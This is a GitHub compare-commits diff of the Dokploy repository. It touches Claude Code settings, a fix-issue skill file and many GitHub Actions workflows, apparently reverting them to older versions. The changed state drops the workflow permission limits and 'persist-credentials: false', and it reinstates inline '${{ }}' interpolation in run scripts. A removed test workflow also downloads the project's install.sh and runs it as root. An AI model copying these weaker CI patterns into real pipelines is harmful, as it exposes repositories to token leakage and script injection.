Compare commits

..

1 Commits

Author SHA1 Message Date
Mauricio Siu b354c3cb0f fix(projects): make project cards grid fill available width on wide screens 2026-07-05 15:06:18 -06:00
889 changed files with 38841 additions and 347130 deletions
-22
View File
@@ -1,22 +0,0 @@
{
"worktree": {
"baseRef": "fresh"
},
"hooks": {
"PostToolUse": [
{
"matcher": "EnterWorktree",
"hooks": [
{
"type": "command",
"command": "\"$CLAUDE_PROJECT_DIR/scripts/install-worktree-deps.sh\""
},
{
"type": "command",
"command": "\"$CLAUDE_PROJECT_DIR/scripts/assign-worktree-port.sh\""
}
]
}
]
}
}
-55
View File
@@ -1,55 +0,0 @@
---
name: fix-issue
description: Implement a GitHub issue with reproduction and verification
allowed-tools: Bash, Edit, Write, Read, Glob, Grep, mcp__playwright__*, mcp__dokploy__*
---
The issue number is passed as $1.
## Instance
No instance is running yet — start your own, isolated to this worktree:
1. Check `apps/dokploy/.env` for `PORT` (assigned per-worktree already).
2. If nothing is listening on that port, start it: `pnpm dokploy:dev` in the
background, then poll `curl -s -o /dev/null -w '%{http_code}' http://localhost:$PORT`
until it answers (usually ~10-15s).
3. Use `http://localhost:$PORT` as the base URL for Playwright navigation.
Note: `mcp__dokploy__*` resolves its URL from
`$DOKPLOY_BASE_URL` once, at session startup — it cannot pick up a port
discovered mid-session. If those tools are unavailable or point at the wrong
instance, fall back to `curl`/`gh api` for API-level checks, or ask the user
to relaunch with `DOKPLOY_BASE_URL` exported first.
## Tools
- `mcp__dokploy__*` — the Dokploy API of the running instance. Use it to set up
state (create a project, an app, an env var) and to verify backend behavior.
Search for the tool you need; they are not all loaded upfront.
- `mcp__playwright__*` — the browser at $DOKPLOY_BASE_URL. Use it for anything
a user would see or click.
Pick by where the bug lives, not by convenience:
- Bug in the UI (rendering, forms, navigation, state) → reproduce in Playwright.
The API returning correct data proves nothing here.
- Bug in the API, deploy logic, or data → reproduce with the Dokploy MCP.
A green screenshot proves nothing here.
- Unclear → do both.
Use the MCP to reach the state you need quickly, then verify in the UI. Do not
click through ten screens to create a project the API can create in one call.
## Steps
1. Run `gh issue view $1` and read the full issue, including comments.
2. Reproduce the bug with the appropriate tool. If you cannot reproduce it,
comment on the issue explaining what you tried and STOP.
Do not implement anything.
3. Implement the fix. Keep the change minimal and scoped to the issue.
4. Run `pnpm test`, then re-run the same reproduction from step 2.
5. Only if both pass: commit and run `gh pr create`. The PR description must
include the before/after reproduction steps and reference the issue.
Never skip step 2. A fix you cannot reproduce and then verify is not a fix.
+14 -14
View File
@@ -14,34 +14,34 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout Repository
uses: actions/checkout@v7
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get version from package.json
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> "$GITHUB_ENV"
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> $GITHUB_ENV
- name: Get latest GitHub tag
run: |
LATEST_TAG=$(git ls-remote --tags origin | awk -F'/' '{print $3}' | sort -V | tail -n1)
echo "LATEST_TAG=$LATEST_TAG" >> "$GITHUB_ENV"
echo "$LATEST_TAG"
echo "LATEST_TAG=$LATEST_TAG" >> $GITHUB_ENV
echo $LATEST_TAG
- name: Compare versions
run: |
if [ "$VERSION" != "$LATEST_TAG" ]; then
if [ "${{ env.VERSION }}" != "${{ env.LATEST_TAG }}" ]; then
VERSION_CHANGED="true"
else
VERSION_CHANGED="false"
fi
echo "VERSION_CHANGED=$VERSION_CHANGED" >> "$GITHUB_ENV"
echo "VERSION_CHANGED=$VERSION_CHANGED" >> $GITHUB_ENV
echo "Comparing versions:"
echo "Current version: $VERSION"
echo "Latest tag: $LATEST_TAG"
echo "Current version: ${{ env.VERSION }}"
echo "Latest tag: ${{ env.LATEST_TAG }}"
echo "Version changed: $VERSION_CHANGED"
- name: Check if a PR already exists
run: |
PR_EXISTS=$(gh pr list --state open --base main --head canary --json number --jq '. | length')
echo "PR_EXISTS=$PR_EXISTS" >> "$GITHUB_ENV"
echo "PR_EXISTS=$PR_EXISTS" >> $GITHUB_ENV
env:
GH_TOKEN: ${{ secrets.GH_PAT }}
@@ -56,12 +56,12 @@ jobs:
git push origin canary
gh pr create \
--title "🚀 Release $VERSION" \
--body "
This PR promotes changes from \`canary\` to \`main\` for version $VERSION.
--title "🚀 Release ${{ env.VERSION }}" \
--body '
This PR promotes changes from `canary` to `main` for version ${{ env.VERSION }}.
### 🔍 Changes Include:
- Version bump to $VERSION
- Version bump to ${{ env.VERSION }}
- All changes from canary branch
### ✅ Pre-merge Checklist:
@@ -69,7 +69,7 @@ jobs:
- [ ] Documentation updated
- [ ] Docker images built and tested
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)" \
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)' \
--base main \
--head canary \
--label "release" --label "automated pr" || true \
+19 -28
View File
@@ -5,38 +5,33 @@ on:
branches: [main, canary]
workflow_dispatch:
permissions:
contents: read
jobs:
build-and-push-cloud-image:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v3
- name: Set tag and version
id: meta-cloud
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> "$GITHUB_OUTPUT"
echo "version=$VERSION" >> $GITHUB_OUTPUT
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/cloud:canary" >> "$GITHUB_OUTPUT"
echo "tags=siumauricio/cloud:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v4
with:
context: .
file: ./Dockerfile.cloud
@@ -53,28 +48,26 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v3
- name: Set tag and version
id: meta-schedule
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> "$GITHUB_OUTPUT"
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/schedule:canary" >> "$GITHUB_OUTPUT"
echo "tags=siumauricio/schedule:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v4
with:
context: .
file: ./Dockerfile.schedule
@@ -87,28 +80,26 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v3
- name: Set tag and version
id: meta-server
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> "$GITHUB_OUTPUT"
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/server:canary" >> "$GITHUB_OUTPUT"
echo "tags=siumauricio/server:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v4
with:
context: .
file: ./Dockerfile.server
+41 -82
View File
@@ -8,23 +8,18 @@ on:
env:
IMAGE_NAME: dokploy/dokploy
permissions:
contents: read
jobs:
docker-amd:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -32,15 +27,15 @@ jobs:
- name: Set tag and version
id: meta
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
- name: Prepare env file
run: |
@@ -48,7 +43,7 @@ jobs:
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
- name: Build and push
uses: docker/build-push-action@v7
uses: docker/build-push-action@v5
with:
context: .
platforms: linux/amd64
@@ -58,15 +53,13 @@ jobs:
runs-on: ubuntu-24.04-arm
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -75,15 +68,15 @@ jobs:
id: meta
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
- name: Prepare env file
run: |
@@ -91,7 +84,7 @@ jobs:
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
- name: Build and push
uses: docker/build-push-action@v7
uses: docker/build-push-action@v5
with:
context: .
platforms: linux/arm64
@@ -103,22 +96,20 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Create and push manifests
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
TAG="latest"
@@ -130,7 +121,7 @@ jobs:
${IMAGE_NAME}:${TAG}-amd64 \
${IMAGE_NAME}:${TAG}-arm64
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
@@ -147,45 +138,28 @@ jobs:
needs: [combine-manifests]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: write
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v7
uses: actions/checkout@v4
with:
fetch-depth: 0
persist-credentials: false
- name: Get version
id: get_version
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
echo "npm_version=${VERSION#v}" >> "$GITHUB_OUTPUT"
- name: Fetch install.sh
env:
RELEASE_VERSION: ${{ steps.get_version.outputs.version }}
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${RELEASE_VERSION}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Create Release
uses: softprops/action-gh-release@v3
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
name: ${{ steps.get_version.outputs.version }}
generate_release_notes: true
draft: false
prerelease: false
files: install.sh
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -193,90 +167,75 @@ jobs:
needs: [generate-release]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
env:
NPM_VERSION: ${{ needs.generate-release.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
- uses: pnpm/action-setup@v6
with:
version: 10.22.0
- uses: actions/setup-node@v7
with:
node-version: 24.4.0
cache: pnpm
- name: Generate OpenAPI specification
run: |
pnpm install --frozen-lockfile
pnpm generate:openapi
uses: actions/checkout@v4
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp $GITHUB_WORKSPACE/openapi.json src/generated/openapi.json
npm install -g pnpm
pnpm install
pnpm run fetch-openapi
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ MCP repo synced to version $NPM_VERSION"
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ CLI repo synced to version $NPM_VERSION"
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ SDK repo synced to version $NPM_VERSION"
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
+3 -8
View File
@@ -6,22 +6,17 @@ on:
pull_request:
branches: [canary]
permissions:
contents: read
jobs:
format:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Setup biomeJs
uses: biomejs/setup-biome@v2
uses: biomejs/setup-biome@v2
- name: Run Biome formatter
run: biome format --write
- uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4
- uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
-51
View File
@@ -1,51 +0,0 @@
name: Hotfix Cherry-Pick
on:
pull_request_target:
types: [closed, labeled]
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
cherry-pick:
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v7
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
env:
MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }}
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="$MERGE_SHA"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
git cherry-pick -x "$SHA"
fi
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
git push origin main
- name: Sync cherry-pick back into canary
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git fetch origin canary main
git checkout -B canary origin/canary
if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
git merge --abort
echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
exit 1
fi
git push origin canary
-32
View File
@@ -1,32 +0,0 @@
name: Hotfix Release
on:
workflow_dispatch:
concurrency:
group: hotfix-to-main
cancel-in-progress: false
# Push to main goes through HOTFIX_PUSH_TOKEN, not the workflow token.
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v7
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Bump patch version and push
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
git commit -am "chore: release ${NEW}"
git push origin main
+19 -28
View File
@@ -7,23 +7,18 @@ on:
env:
IMAGE_NAME: dokploy/monitoring
permissions:
contents: read
jobs:
docker-amd:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -31,17 +26,17 @@ jobs:
- name: Set tag
id: meta
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
- name: Build and push
uses: docker/build-push-action@v7
uses: docker/build-push-action@v5
with:
context: .
file: ./Dockerfile.monitoring
@@ -52,15 +47,13 @@ jobs:
runs-on: ubuntu-24.04-arm
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -68,17 +61,17 @@ jobs:
- name: Set
id: meta
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
- name: Build and push
uses: docker/build-push-action@v7
uses: docker/build-push-action@v5
with:
context: .
file: ./Dockerfile.monitoring
@@ -91,29 +84,27 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Create and push manifests
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
${IMAGE_NAME}:${TAG}-arm64
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
+3 -5
View File
@@ -14,11 +14,9 @@ jobs:
matrix:
job: [build, test, typecheck]
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v7
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: "pnpm"
+4 -7
View File
@@ -12,20 +12,17 @@ on:
workflow_dispatch:
permissions:
contents: read
jobs:
generate-and-commit:
name: Generate OpenAPI and commit to Dokploy repo
runs-on: ubuntu-latest
steps:
- name: Checkout Dokploy repository
uses: actions/checkout@v7
uses: actions/checkout@v4
with:
persist-credentials: false
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v7
token: ${{ secrets.GITHUB_TOKEN }}
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: "pnpm"
@@ -1,442 +0,0 @@
# Upgrade Integration Test
#
# Tests that Dokploy can upgrade from version A to version B while keeping
# user projects (Postgres, MongoDB, two web apps, one static site) alive.
#
# Generates upgrade pairs: each stable tag in [floor_version, target_version)
# is paired with target_version. If target_version is empty, the highest tag
# available on Docker Hub is used as the target.
#
# Only triggered manually to avoid burning Actions minutes.
name: Upgrade Integration Test
on:
workflow_dispatch:
inputs:
floor_version:
description: 'Oldest version tag to include in pairs (e.g. v0.29.4)'
required: false
default: 'v0.29.4'
target_version:
description: 'Target version to upgrade to (version B). Leave empty to use the highest available.'
required: false
default: ''
env:
DOKPLOY_IMAGE: dokploy/dokploy
DOKPLOY_SERVICE: dokploy
DOKPLOY_PORT: 3000
permissions:
contents: read
# ──────────────────────────────────────────────────────────────────────────────
jobs:
# ── 1. Build the matrix ─────────────────────────────────────────────────────
build-matrix:
name: Build upgrade pair matrix
runs-on: ubuntu-latest
outputs:
pairs: ${{ steps.pairs.outputs.pairs }}
steps:
- name: Generate pairs
id: pairs
env:
FLOOR: ${{ inputs.floor_version }}
TARGET: ${{ inputs.target_version }}
run: |
set -euo pipefail
# semver "a >= b" comparison helper (vX.Y.Z, strips leading v)
ge() {
[ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ]
}
# Fetch all semver tags from Docker Hub (dokploy/dokploy)
ALL_TAGS=$(curl -fsSL \
"https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \
jq -r '.results[].name' | \
grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \
sort -V)
echo "All tags found:"
echo "$ALL_TAGS"
# Target version (version B): explicit input, else highest available.
if [ -n "$TARGET" ]; then
TO="$TARGET"
echo "Using user-supplied target version: $TO"
else
TO=$(echo "$ALL_TAGS" | tail -n1)
echo "No target supplied; using highest available: $TO"
fi
# Floor semver components
FLOOR_CLEAN="${FLOOR#v}"
IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN"
# Each tag in [FLOOR, TO) → TO
PAIRS='[]'
while read -r TAG; do
[ -z "$TAG" ] && continue
# skip tags above-or-equal to the target (incl. the target itself)
ge "$TAG" "$TO" && continue
TAG_CLEAN="${TAG#v}"
IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN"
if [ "$T_MAJ" -gt "$F_MAJ" ] || \
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then
PAIRS=$(echo "$PAIRS" | jq -c \
--arg f "$TAG" --arg t "$TO" \
'. + [{"from":$f,"to":$t}]')
fi
done <<< "$ALL_TAGS"
COUNT=$(echo "$PAIRS" | jq 'length')
echo "Total pairs: $COUNT"
echo "$PAIRS" | jq -r '.[] | " \(.from) → \(.to)"'
echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT"
# ── 2. Run one upgrade test per pair ────────────────────────────────────────
upgrade-test:
name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}"
needs: build-matrix
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }}
steps:
# ── Environment setup ──────────────────────────────────────────────────
- name: Free disk space
run: |
sudo rm -rf \
/usr/share/dotnet /opt/ghc /usr/local/share/boost \
"$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \
/usr/local/share/chromium /opt/hostedtoolcache
docker system prune -af --volumes
df -h
# ── Install Dokploy directly at VERSION A ──────────────────────────────
# install.sh:
# • requires root (run via sudo bash)
# • respects DOKPLOY_VERSION → installs that tag directly
# (so we don't need a separate "downgrade" step that would risk
# running B's migrations on A's expected schema)
# • respects ADVERTISE_ADDR → skip the external IP lookup
# • initializes Docker Swarm + dokploy-network itself
- name: Install Dokploy at VERSION A (${{ matrix.pair.from }})
run: |
curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh
chmod +x /tmp/install.sh
sudo -E env \
DOKPLOY_VERSION="${{ matrix.pair.from }}" \
ADVERTISE_ADDR="127.0.0.1" \
bash /tmp/install.sh
- name: Wait for dokploy service to converge on ${{ matrix.pair.from }}
run: |
echo "Waiting for 'dokploy' Swarm service to reach 1/1..."
timeout 240 bash -c '
until docker service ls --filter name=dokploy \
--format "{{.Name}} {{.Replicas}}" \
| grep "^dokploy " | grep -q " 1/1"; do
sleep 4
done
'
docker service ls
echo "✅ Service running on ${{ matrix.pair.from }}"
- name: Wait for Dokploy API to accept requests
run: |
timeout 180 bash -c '
until curl -sf -o /dev/null \
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
sleep 3
done
'
echo "✅ Dokploy API is up"
# ── Bootstrap admin user ───────────────────────────────────────────────
- name: Register first admin user
id: auth
run: |
COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt"
: > "$COOKIE_JAR"
chmod 600 "$COOKIE_JAR"
echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT"
# better-auth: sign-up/email (allowed only before any owner exists)
set -x
curl -sS -i -X POST \
"http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \
-H "Content-Type: application/json" \
-c "$COOKIE_JAR" -b "$COOKIE_JAR" \
-d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \
| tee /tmp/signup.out
set +x
# Verify we got a session cookie
if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then
echo "⚠️ No session cookie matched expected name; jar contents:"
cat "$COOKIE_JAR"
fi
